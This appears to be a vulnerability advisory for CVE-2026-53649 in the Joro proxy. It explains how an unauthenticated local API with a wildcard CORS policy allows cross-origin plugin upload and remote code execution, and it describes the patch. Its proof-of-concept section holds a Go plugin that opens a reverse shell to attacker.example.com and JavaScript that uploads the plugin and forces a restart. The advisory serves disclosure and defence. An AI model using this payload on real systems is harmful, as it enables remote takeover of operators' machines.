critical · 9.6CVE-2026-53649Jul 8, 2026

CVE-2026-53649: Joro Unauthenticated Cross-Origin Plugin Upload RCE

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Joro's default proxy mode exposed its local API with no authentication and a wildcard CORS policy, letting any webpage the operator visited silently upload a native plugin and trigger a restart to…

Packagegithub.com/BishopFox/joro
Ecosystemgo
Affected< 0.0.0-20260601151442-5c0ca35db828
Fixed in0.0.0-20260601151442-5c0ca35db828

The problem

Joro <= v1.1.0 in default proxy mode binds its API on 127.0.0.1:9090 with zero authentication and Access-Control-Allow-Origin: * on every response. Because multipart/form-data is a CORS-safelisted content type, browsers send cross-origin POSTs to that API without a preflight, so any attacker-controlled page the operator visits can reach privileged endpoints freely.

The plugin upload endpoint (/api/v1/plugins/upload) accepts arbitrary .so files. Go's plugin.Open() in the loader runs the plugin's init() function before any symbol lookup, so a plugin with no exports still executes its payload the moment Joro restarts.

Chaining upload and restart gives an attacker unauthenticated RCE as the operator's user from a single page visit.

Proof of concept

A working proof-of-concept for CVE-2026-53649 in github.com/BishopFox/joro, with the exact payload below.

javascript
<!-- Attacker page: operator visits this, JavaScript does the rest -->
<!-- Step 1: build pwn.so (compile on attacker host matching Joro's release ABI) -->

<!-- pwn.go -->
// package main
// import (
//   "net"
//   "os/exec"
// )
// func init() {
//   go func() {
//     c, _ := net.Dial("tcp", "attacker.example.com:4444")
//     cmd := exec.Command("/bin/bash", "-i")
//     cmd.Stdin = c; cmd.Stdout = c; cmd.Stderr = c
//     cmd.Run()
//   }()
// }

<!-- Step 2: JavaScript on attacker page (no preflight, multipart/form-data is safelisted) -->
<script>
async function pwn() {
  // Fetch the pre-built plugin from attacker origin (same-origin fetch, no CORS issue)
  const blob = await fetch('https://attacker.example.com/pwn.so').then(r => r.blob());

  // POST to Joro's unauthenticated API -- no preflight because multipart/form-data is CORS-safelisted
  const fd = new FormData();
  fd.append('plugin', blob, 'pwn.so');
  await fetch('http://127.0.0.1:9090/api/v1/plugins/upload', {
    method: 'POST',
    body: fd
    // No auth header needed. No CORS preflight triggered.
  });

  // Trigger restart; plugin init() fires, dials back to attacker listener
  await fetch('http://127.0.0.1:9090/api/v1/system/restart', { method: 'POST' });
}
pwn();
</script>

Three weaknesses chain into the exploit. First, internal/api/server.go only applied AuthMiddleware when listenerMode was true, leaving every proxy-mode endpoint open with no token or credential required. Second, corsMiddleware set Access-Control-Allow-Origin: * unconditionally, and because multipart/form-data is a CORS-safelisted content type, browsers skip the preflight entirely, so the loopback bind offered no real isolation against browser-mediated requests.

Third, internal/plugins/loader.go called plugin.Open() which executes init() before any symbol lookup, meaning a plugin with no exported symbols still runs its payload on restart.

The patch removes corsMiddleware entirely and replaces it with originGuard, which rejects state-changing requests whose Sec-Fetch-Site header is cross-site or same-site, and additionally validates that the Origin hostname matches the request Host.

The WebSocket upgrader's CheckOrigin was tightened the same way. A second commit forces the proxy-mode UI/API to bind on 127.0.0.1 regardless of --bind, and removes the wildcard exception in hostAllowed to close the DNS-rebinding path that would otherwise let a rebound hostname bypass the same-origin check.

CWE-306 (Missing Authentication), CWE-352 (CSRF), CWE-434 (Unrestricted Upload), CWE-942 (Permissive CORS).

The fix

Upgrade to Joro commit 5c0ca35db828 (pseudo-version 0.0.0-20260601151442-5c0ca35db828) or any later release. The fix removes the wildcard CORS middleware, adds an originGuard that enforces same-origin on all mutating requests using Sec-Fetch-Site and Origin/Host comparison, tightens the WebSocket origin check, forces the proxy-mode API to bind only on 127.0.0.1, and removes the wildcard exception in hostAllowed to block DNS rebinding.

If you cannot upgrade immediately, block outbound browser access to 127.0.0.1:9090 via a local firewall rule or browser extension as a temporary workaround.

Reported by cstover.

References: [1][2]

Related research